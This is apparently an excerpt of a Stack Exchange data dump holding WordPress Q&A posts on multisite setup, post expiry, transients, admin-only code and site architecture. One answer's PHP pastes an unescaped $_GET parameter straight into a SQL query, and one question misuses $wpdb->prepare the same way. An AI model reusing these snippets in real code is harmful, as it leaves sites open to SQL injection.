  <row Id="6625" PostTypeId="2" ParentId="6402" CreationDate="2011-01-09T17:57:46.150" Score="2" ViewCount="" Body="&lt;p&gt;there is a simple tutorial on this exact subject here: &lt;a href=&quot;http://pythoughts.com/how-to-hide-that-you-use-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://pythoughts.com/how-to-hide-that-you-use-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2397" LastActivityDate="2011-01-09T17:57:46.150" />
  <row Id="6626" PostTypeId="2" ParentId="106" CreationDate="2011-01-09T18:09:26.380" Score="2" ViewCount="" Body="&lt;p&gt;There is actually a very good tutorial on this here: &lt;a href=&quot;http://pythoughts.com/how-to-hide-that-you-use-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://pythoughts.com/how-to-hide-that-you-use-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It explains how to change the folder name, the wp-admin login url, and make sure that login.php redirects to the main site so that people can go there directly.&lt;/p&gt;&#xA;" OwnerUserId="2397" LastActivityDate="2011-01-09T18:09:26.380" />
  <row Id="6627" PostTypeId="1" CreationDate="2011-01-09T18:48:08.170" Score="1" ViewCount="122" Body="&lt;p&gt;I want to create a network of sites on the WordPress platform. &lt;a href=&quot;http://www.apartmenttherapy.com/&quot; rel=&quot;nofollow&quot;&gt;Apartment Therapy&lt;/a&gt; is a prime example of how I would like to implement the network. They are using unique domains, not subdomains or directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click Technology in the top nav for Unplggd, click Children for Ohdeedoh, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give me your opinion of how to best do this with WordPress 3.0.x multisite?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read some posts about WordPress multisite that give me a hint but I want to build the architecture right the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your input.&lt;/p&gt;&#xA;" OwnerUserId="2398" LastActivityDate="2011-01-09T21:08:40.507" Title="Create a network of blogs with WordPress 3" Tags="&lt;multisite&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="6628" PostTypeId="2" ParentId="6627" CreationDate="2011-01-09T20:11:41.563" Score="3" ViewCount="" Body="&lt;p&gt;Official instructions:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free ebook with screenshots:&#xA;&lt;a href=&quot;http://wpebooks.com/2010/09/how-to-enable-multisite-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wpebooks.com/2010/09/how-to-enable-multisite-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-09T20:11:41.563" />
  <row Id="6629" PostTypeId="2" ParentId="5161" CreationDate="2011-01-09T20:11:44.827" Score="1" ViewCount="" Body="&lt;p&gt;I agree with Denis, I don't like using custom fields for this kind of stuff, but I'm not aware of any other way yet...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you what can be done by altering the SQL query for the loop, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_join', 'my_post_filter_join');&#xA;function my_post_filter_join($join) {&#xA;  global $wpdb;&#xA;  if(is_home() || is_category() || is_search())&#xA;    $join .= &quot; LEFT JOIN $wpdb-&amp;gt;postmeta ON ($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id)&quot;;&#xA;  return $join;&#xA;}&#xA;&#xA;add_filter('posts_where', 'my_post_filter_where');&#xA;function my_post_filter_where($where) {&#xA;  global $wpdb;&#xA;&#xA;  // current date in unix format&#xA;  $current_time = current_time(&quot;timestamp&quot;);&#xA;&#xA;  // exclude any posts older than your expiry date set in the custom field&#xA;  if(is_home()|| is_category() || is_search())&#xA;    $where .= &quot; AND ($wpdb-&amp;gt;postmeta.meta_key = 'expiry_date' AND $wpdb-&amp;gt;postmeta.meta_value &amp;gt; '{$current_time}')&quot;;&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used unix timestamps here instead of a formatted date string, you should do that too, it's easier to handle. For the admin interface you can use a datepicker and convert the date to a timestamp when the post is saved...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-09T20:11:44.827" />
  <row Id="6630" PostTypeId="2" ParentId="6627" CreationDate="2011-01-09T21:08:40.507" Score="4" ViewCount="" Body="&lt;p&gt;For setting up a network of sites &lt;strong&gt;on different domains&lt;/strong&gt; use:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt;&lt;br&gt;&#xA;Otto has a great tutorial on the subject:&lt;br&gt;&#xA;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrea's ebook and Otto's tut helped me a lot with my first setup!&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-09T21:08:40.507" />
  <row Id="6631" PostTypeId="1" AcceptedAnswerId="6633" CreationDate="2011-01-09T22:46:06.543" Score="1" ViewCount="127" Body="&lt;p&gt;i try to build a form that users posts from frontend,&#xA;everything works fine but i need to know if it's possible,&#xA;if i play with the &lt;code&gt;'post_date' =&amp;gt; date('Y-m-d H:i:s')&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i add a hidden field that generates the expiration day (+30 days from the post day) and then add it to the post with &lt;code&gt;add_post_meta($post_id, 'expiration', $expDate, true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone have any ideas how i can build something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot,&lt;br&gt;&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-09T23:34:06.927" Title="Set Expiration Date of a Post from the Frontend with wp_insert_post" Tags="&lt;theme-development&gt;&lt;posts&gt;&lt;post-meta&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6632" PostTypeId="2" ParentId="6609" CreationDate="2011-01-09T23:08:11.470" Score="1" ViewCount="" Body="&lt;p&gt;As Ambitious Amoeba said, just do the check on each page load; it shouldn't be that expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, another possibility to store a single bit of information would be to use browser cookies.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-09T23:08:11.470" CommentCount="2" />
  <row Id="6633" PostTypeId="2" ParentId="6631" CreationDate="2011-01-09T23:34:06.927" Score="3" ViewCount="" Body="&lt;p&gt;The post by itself is only data, it cannot perform such action as expiring itself. So you need some form of external control to act on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use WP Cron (see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_schedule_event()&lt;/code&gt;&lt;/a&gt; and related) to run periodic task that will &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;query for posts by your custom field&lt;/a&gt; and perform wanted action on them (trashing, cancelling published status, etc).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-09T23:34:06.927" CommentCount="2" />
  <row Id="6634" PostTypeId="1" AcceptedAnswerId="6640" CreationDate="2011-01-09T23:57:28.257" Score="2" ViewCount="129" Body="&lt;p&gt;I have to set up a small website, it's a porfolio for a design company with just the standard sections: home, about us, services, portfolio and contact. That's it, no blog, no dynamic sections, no big deal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could do it using WordPress, but I think it maybe an overkill. On the one hand, WP maybe useful for a couple of interesting plugins that could save me some time, like sitemap generator and better SEO results, and also for in-browser editing of the posts. But on the other hand, it's harder to do the things &quot;the wordpress way&quot;, like using wp_enqueue_script to load the scripts and things like that. Also, sections are not like posts, each one is different, not to mention the homepage, so the &quot;generality&quot; that WordPress could bring me is somehow useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think?&lt;/p&gt;&#xA;" OwnerUserId="2169" LastActivityDate="2011-01-14T08:31:36.760" Title="Using wordpress for a four-page website may be an overkill?" Tags="&lt;cms&gt;&lt;static-website&gt;" AnswerCount="5" />
  <row Id="6635" PostTypeId="2" ParentId="6330" CreationDate="2011-01-10T00:00:56.820" Score="3" ViewCount="" Body="&lt;p&gt;first thing I would do is to deactivate the Cache and see if that makes a difference. If disabling solves the problem, reset the cache for the comments of the particular post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably something went wrong for the caching strategy and it ended up in some useless state.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-10T00:00:56.820" />
  <row Id="6636" PostTypeId="1" CreationDate="2011-01-10T00:13:16.457" Score="0" ViewCount="206" Body="&lt;p&gt;For all the &quot;price&quot; custom fields of a site, the dollar sign was entered &lt;em&gt;with&lt;/em&gt; the value. I need to remove the dollar sign and leave the &lt;em&gt;just the values&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know very little about SQL queries. The values are all different, so I was hoping I could use UPDATE and the wildcard to effectively delete the dollar sign, but alas, I can't make it happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm trying to achieve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE &lt;code&gt;wp_postmeta&lt;/code&gt; SET &lt;code&gt;meta_value&lt;/code&gt; = replace(meta_value, '$%', '%') WHERE &lt;code&gt;meta_key&lt;/code&gt; LIKE 'price'.&lt;/p&gt;&#xA;" OwnerUserId="1907" LastActivityDate="2011-01-11T05:02:33.373" Title="How can I SQL update a meta_value to remove the dollar signs that were entered with the value? (so just the value remains)" Tags="&lt;mysql&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="6637" PostTypeId="2" ParentId="6634" CreationDate="2011-01-10T01:38:20.800" Score="0" ViewCount="" Body="&lt;p&gt;If it is going to stay at that four page, definitely don't use WordPress. WordPress requires databases and its heavy for a such site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a simple static html. It will load fast and won't use a database.&lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2011-01-10T01:38:20.800" />
  <row Id="6638" PostTypeId="2" ParentId="6634" CreationDate="2011-01-10T03:07:14.707" Score="2" ViewCount="" Body="&lt;p&gt;One thing you should consider is making your site scalable. If in the future you have any plans to expand or add a blog, etc,  working with a static site can be troublesome and you often just end up re-doing it from scratch. With wordpress this isn't the case it is very easy to change themes and add content even for smaller sites.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-10T03:07:14.707" />
  <row Id="6639" PostTypeId="2" ParentId="6574" CreationDate="2011-01-10T03:23:31.073" Score="0" ViewCount="" Body="&lt;p&gt;There is also &lt;a href=&quot;http://jobs.wordpress.net/&quot; rel=&quot;nofollow&quot;&gt;http://jobs.wordpress.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-10T03:23:31.073" />
  <row Id="6640" PostTypeId="2" ParentId="6634" CreationDate="2011-01-10T04:12:03.697" Score="1" ViewCount="" Body="&lt;p&gt;I don't think it's overkill. IMHO even a small site can benefit from running WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;World wide web is a very dynamic environment and your site should stick to this flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can keep your site up to date when it comes to terms of usability, security and other standarts just by keeping your WordPress core updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd expect no troubles with speed/performance with such a small project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course it is very scalable for any future client needs like Wyck has mentioned.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;home, about us, services, portfolio&#xA;  and contact ... no&#xA;  dynamic sections&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my experience often &lt;strong&gt;portfolio&lt;/strong&gt; is a dynamic type of content. Your use case can be different of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing: time spent learning how to make WP fit your needs is an investment that will come back to you ( probably during your next project :)&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-10T04:12:03.697" CommentCount="1" />
  <row Id="6641" PostTypeId="1" AcceptedAnswerId="6647" CreationDate="2011-01-10T04:14:36.817" Score="0" ViewCount="38" Body="&lt;p&gt;I'm trying to figure out the best approach to add additional functionality that will only be utilized by admins via /wp-admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to implement so that resources aren't being wasted. I.E. if statement each page load or any other code execution on each page load for areas not even pertaining to the dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2401" LastActivityDate="2011-01-10T06:19:11.530" Title="What is the most efficient way of adding additional functionaliy for admin only" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;admin&gt;&lt;functions&gt;&lt;options&gt;" AnswerCount="1" />
  <row Id="6642" PostTypeId="1" CreationDate="2011-01-10T04:49:18.783" Score="0" ViewCount="127" Body="&lt;p&gt;Please help ! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the lattest version of wordpress and feedwordpress. onece it update feedwordpress is not updating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Check currently scheduled feeds for new and updated posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update complete. 0 new posts were syndicated and 0 existing posts were updated ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help !&lt;/p&gt;&#xA;" LastActivityDate="2011-01-10T04:49:18.783" Title="feedwordpress not updating" Tags="&lt;feed&gt;&lt;fetch-feed&gt;" CommentCount="1" />
  <row Id="6643" PostTypeId="1" CreationDate="2011-01-10T05:12:11.780" Score="0" ViewCount="413" Body="&lt;p&gt;I have changed my permalink structure to &lt;code&gt;/%category%/%postname%/&lt;/code&gt;.The links are working, but the problem is that my &lt;code&gt;style.css&lt;/code&gt; is not working  in some of the posts which are inside the category.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T11:09:23.397" LastActivityDate="2011-01-11T11:09:23.397" Title="Changing permalink changes stylesheet path?" Tags="&lt;permalinks&gt;&lt;stylesheet&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="6645" PostTypeId="1" CreationDate="2011-01-10T05:43:54.527" Score="5" ViewCount="384" Body="&lt;p&gt;Is there any way I can take a URL of an image and find the attachment or post id of that image in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in a loop going over all the 'img' tags that are surrounded by 'a' tags in my post content. if the src attribute of the 'img' tag does not match the href attribute of the outer 'a' tag, then i want to replace the 'img' tag. In doing this, if the 'img' that is to be removed is in the gallery, i want to delete that post, and then put my replacement 'img' in its place. I tried using a function like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function find_image_post_id($url) {&#xA;  global $wpdb;&#xA;  $postid = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT DISTINCT ID FROM $wpdb-&amp;gt;posts WHERE guid='$url'&quot;));&#xA;  if ($postid) {&#xA;    return $postid;&#xA;  }&#xA;  return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This apparently is not right because the guid is ironically not globally unique. I had (earlier in the same script) uploaded a file with the same name (why? because it was higher resolution and i am trying to replace low resolution versions of the same image) and although wordpress will save the image with a different name in the directory, the guid's were set to be the same. (possibly a bug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another technique I can use?&lt;/p&gt;&#xA;" OwnerUserId="2404" LastActivityDate="2011-06-06T21:02:26.733" Title="Turn a URL into an Attachment / Post ID" Tags="&lt;posts&gt;&lt;attachments&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" />
  <row Id="6646" PostTypeId="2" ParentId="6634" CreationDate="2011-01-10T06:08:55.310" Score="1" ViewCount="" Body="&lt;p&gt;Lets get it down to definitions. WordPress is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Content management system.&lt;/li&gt;&#xA;&lt;li&gt;That was historically developed for blogging.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Would content at that site need to be managed? If so - how often and by whom (with what level of technical experience)?&lt;/li&gt;&#xA;&lt;li&gt;Is there a possibility that site will need blog some time in the future?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If not - consider something simpler, personally I'd look for one of those tiny CMS engines that don't require database.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-10T06:08:55.310" />
  <row Id="6647" PostTypeId="2" ParentId="6641" CreationDate="2011-01-10T06:19:11.530" Score="1" ViewCount="" Body="&lt;p&gt;There is number of &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/admin-header.php#L59&quot; rel=&quot;nofollow&quot;&gt;dynamic hooks in admin-header.php&lt;/a&gt; that allows to precisely target on which pages to load your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And naturally &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;current_user_can()&lt;/code&gt;&lt;/a&gt; check so it only runs for admins.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-10T06:19:11.530" />
  <row Id="6649" PostTypeId="2" ParentId="6523" CreationDate="2011-01-10T08:21:10.833" Score="4" ViewCount="" Body="&lt;p&gt;The user edit page of the current user is &lt;code&gt;/wp-admin/profile.php&lt;/code&gt;, so you can just do &lt;code&gt;admin_url( 'profile.php' )&lt;/code&gt;, which is the way it is used in the WP source code.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-10T08:21:10.833" CommentCount="2" />
  <row Id="6651" PostTypeId="2" ParentId="6622" CreationDate="2011-01-10T08:49:02.667" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;this is the code i use in swift theme&#xA;&#xA;&#xA;(function() {&#xA;    tinymce.create('tinymce.plugins.tinyplugin', {&#xA;&#xA;        init : function(ed, url){&#xA;            ed.addButton('note', {&#xA;            title : 'Insert a note',&#xA;                onclick : function() {&#xA;            var sel = ed.selection.getContent();&#xA;                    ed.execCommand(&#xA;                    'mceInsertContent',&#xA;                    false,&#xA;                    swift_notice(sel)&#xA;                    );&#xA;                },&#xA;                image: url + &quot;/note.png&quot;&#xA;            });&#xA;}&#xA;&#xA;function swift_notice(seldata) {&#xA;    return '&amp;lt;p class=&quot;note&quot;&amp;gt;&amp;lt;span class=&quot;bg&quot;&amp;gt; &amp;lt;/span&amp;gt;'+ seldata + '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-01-10T08:49:02.667" />
  <row Id="6652" PostTypeId="2" ParentId="6602" CreationDate="2011-01-10T09:55:47.323" Score="3" ViewCount="" Body="&lt;p&gt;If someone can't show me otherwise it seems that transients are not garbage collected after all. What makes it worse is that unlike options they are not guaranteed to be stored in database. So there is no reliable way to fetch list of all transients to check them for expiration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some makeshift code to do garbage collection if database is used for storage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_scheduled_delete', 'delete_expired_db_transients' );&#xA;&#xA;function delete_expired_db_transients() {&#xA;&#xA;    global $wpdb, $_wp_using_ext_object_cache;&#xA;&#xA;    if( $_wp_using_ext_object_cache )&#xA;        return;&#xA;&#xA;    $time = isset ( $_SERVER['REQUEST_TIME'] ) ? (int)$_SERVER['REQUEST_TIME'] : time() ;&#xA;    $expired = $wpdb-&amp;gt;get_col( &quot;SELECT option_name FROM {$wpdb-&amp;gt;options} WHERE option_name LIKE '_transient_timeout%' AND option_value &amp;lt; {$time};&quot; );&#xA;&#xA;    foreach( $expired as $transient ) {&#xA;&#xA;        $key = str_replace('_transient_timeout_', '', $transient);&#xA;        delete_transient($key);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-10T12:17:47.970" LastActivityDate="2011-01-10T12:17:47.970" CommentCount="7" />
  <row Id="6653" PostTypeId="2" ParentId="106" CreationDate="2011-01-10T09:56:32.500" Score="0" ViewCount="" Body="&lt;p&gt;No it's not possible to rename the wp-admin folder with any short of code or htaccess hack,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past i done the same for a client by performing a complete folder search via Coda (the editor i use) for the tag &quot;wp-admin, wp-content...etc&quot; and i remove the &quot;wp-&quot; from the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you will be able to install it but:&lt;br&gt;&#xA;You have to do the same with the plugins you want to install,&#xA;You have to update the core manually by clearing the &quot;wp-&quot; tag from the new versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all the ways i don't suggest you to do something like this,&#xA;leave it as is and try to implement a User Login/Register/Profile page to give your users/clients a better experience.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cristian from &lt;a href=&quot;http://www.cozmoslabs.com/2010/05/31/wordpress-user-registration-template-and-custom-user-profile-fields/&quot; rel=&quot;nofollow&quot;&gt;Cozmolabs&lt;/a&gt; have&#xA;  write a very good tutorial. You can&#xA;  edit the code a bit and make it run in&#xA;  any WordPress theme.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can also add a Post form from the frontend so the Admin and Users with the Capabilities to write a post can do it from the frontend.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here you can see an example and code&#xA;  on how to create a Frontend Post page.&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5979/fron-end-post-submission/6043#6043&quot;&gt;Fron-End Post Submission&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also you can take a look for some nice &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=frontend&quot; rel=&quot;nofollow&quot;&gt;plugins here&lt;/a&gt; that do the same with more functionality.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-10T09:56:32.500" />
  <row Id="6654" PostTypeId="2" ParentId="6538" CreationDate="2011-01-10T10:59:38.840" Score="0" ViewCount="" Body="&lt;p&gt;The way around it was to build a custom query. More information on this can be viewed on the Wordpress codex at &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final code looked as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php               &#xA;$row = 0;&#xA;$zone = $_GET['zone'];&#xA;if (!$zone) $zone = &quot;United Kingdom&quot;;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;formattedTable&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;th width=&quot;140&quot;&amp;gt;Country&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th width=&quot;140&quot;&amp;gt;Town&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;Club&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;$query = &quot;&#xA;SELECT&#xA;  posts.*&#xA;FROM&#xA;  $wpdb-&amp;gt;posts posts&#xA;INNER JOIN&#xA;  $wpdb-&amp;gt;postmeta meta1 ON posts.ID = meta1.post_ID&#xA;INNER JOIN&#xA;  $wpdb-&amp;gt;postmeta meta2 ON posts.ID = meta2.post_ID&#xA;INNER JOIN&#xA;  $wpdb-&amp;gt;postmeta meta3 ON posts.ID = meta3.post_ID&#xA;WHERE&#xA;  posts.post_type = 'club' AND&#xA;  posts.post_status = 'publish' AND&#xA;  meta1.meta_key = '_club-zone' AND&#xA;  meta1.meta_value = '$zone' AND&#xA;  meta2.meta_key = '_club-country' AND&#xA;  meta3.meta_key = '_club-town'&#xA;ORDER BY&#xA;  meta2.meta_value,&#xA;  meta3.meta_value,&#xA;  posts.post_title&quot;;&#xA;&#xA;$posts = $wpdb-&amp;gt;get_results($query, object);        &#xA;if ($posts)&#xA;    foreach($posts as $post)&#xA;    {&#xA;        global $post;&#xA;        setup_postdata($post);&#xA;&#xA;        echo '&amp;lt;tr class=&quot;' . ($row % 2 == 0 ? 'odd' : 'even') . '&quot;&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;' . get_post_meta(get_the_ID(), '_club-country', true) . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;' . get_post_meta(get_the_ID(), '_club-town', true) . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;&amp;lt;a href=&quot;' . get_permalink(get_the_ID()) . '&quot;&amp;gt;' . get_the_title() . '&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;/tr&amp;gt;';&#xA;        $row++;&#xA;    }&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2371" LastActivityDate="2011-01-10T10:59:38.840" />
  <row Id="6655" PostTypeId="1" AcceptedAnswerId="6662" CreationDate="2011-01-10T11:39:17.743" Score="0" ViewCount="192" Body="&lt;p&gt;If you were to build a StackExchange clone site using WordPress, how would you do it?&lt;/p&gt;&#xA;" OwnerUserId="2374" LastActivityDate="2011-01-10T15:24:21.253" Title="StackExchange clone using WordPress?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;clone-site&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="6657" PostTypeId="2" ParentId="5088" CreationDate="2011-01-10T13:18:35.240" Score="0" ViewCount="" Body="&lt;p&gt;Instead of using a custom field, you should add a &lt;a href=&quot;http://codex.wordpress.org/Taxonomies#Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;custom taxonomy&lt;/a&gt;. You can query posts by taxonomy then.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-10T13:18:35.240" />
  <row Id="6658" PostTypeId="1" AcceptedAnswerId="6704" CreationDate="2011-01-10T13:49:21.513" Score="6" ViewCount="181" Body="&lt;p&gt;A site I've built gets lots of comments in a short space of time - so perhaps 100 comments might be left in 5 or 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to cause a pretty heavy load on the database, especially when combined with recent comment widgets - I've seen server load rapidly spiral up to 40+, and using mtop I can see plenty of blocked queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm using MyISAM as the storage engine, which locks the entire table for writing. Would switching to InnoDB which (I believe) uses row locking improve things? Looking at the MySQL docs, it seems perfectly possible to use both engines within the same database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does switching to InnoDB seem like it's a reasonable solution for what i described? Any WP specific experiences / benchmarks? &lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2011-01-10T23:21:20.680" LastActivityDate="2011-01-11T10:11:41.027" Title="Would switching to InnoDB from MyISAM improve performance of comments table?" Tags="&lt;comments&gt;&lt;database&gt;&lt;mysql&gt;&lt;innodb&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="6659" PostTypeId="1" AcceptedAnswerId="6674" CreationDate="2011-01-10T13:55:00.637" Score="1" ViewCount="168" Body="&lt;p&gt;Does anyone know of (or have) any scripts / processes they use for testing performance under load - especially of WordPress specific behaviours, like posting many comments nearly simultaneously, while under heavy simulated traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typically use apachebench to test general performance (and to make sure caching is working), but I can't see a way of testing comment and posting performance without scripting it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-10T17:28:48.150" Title="Load testing for WordPress functionality" Tags="&lt;server-load&gt;&lt;testing&gt;" AnswerCount="3" CommentCount="1" />
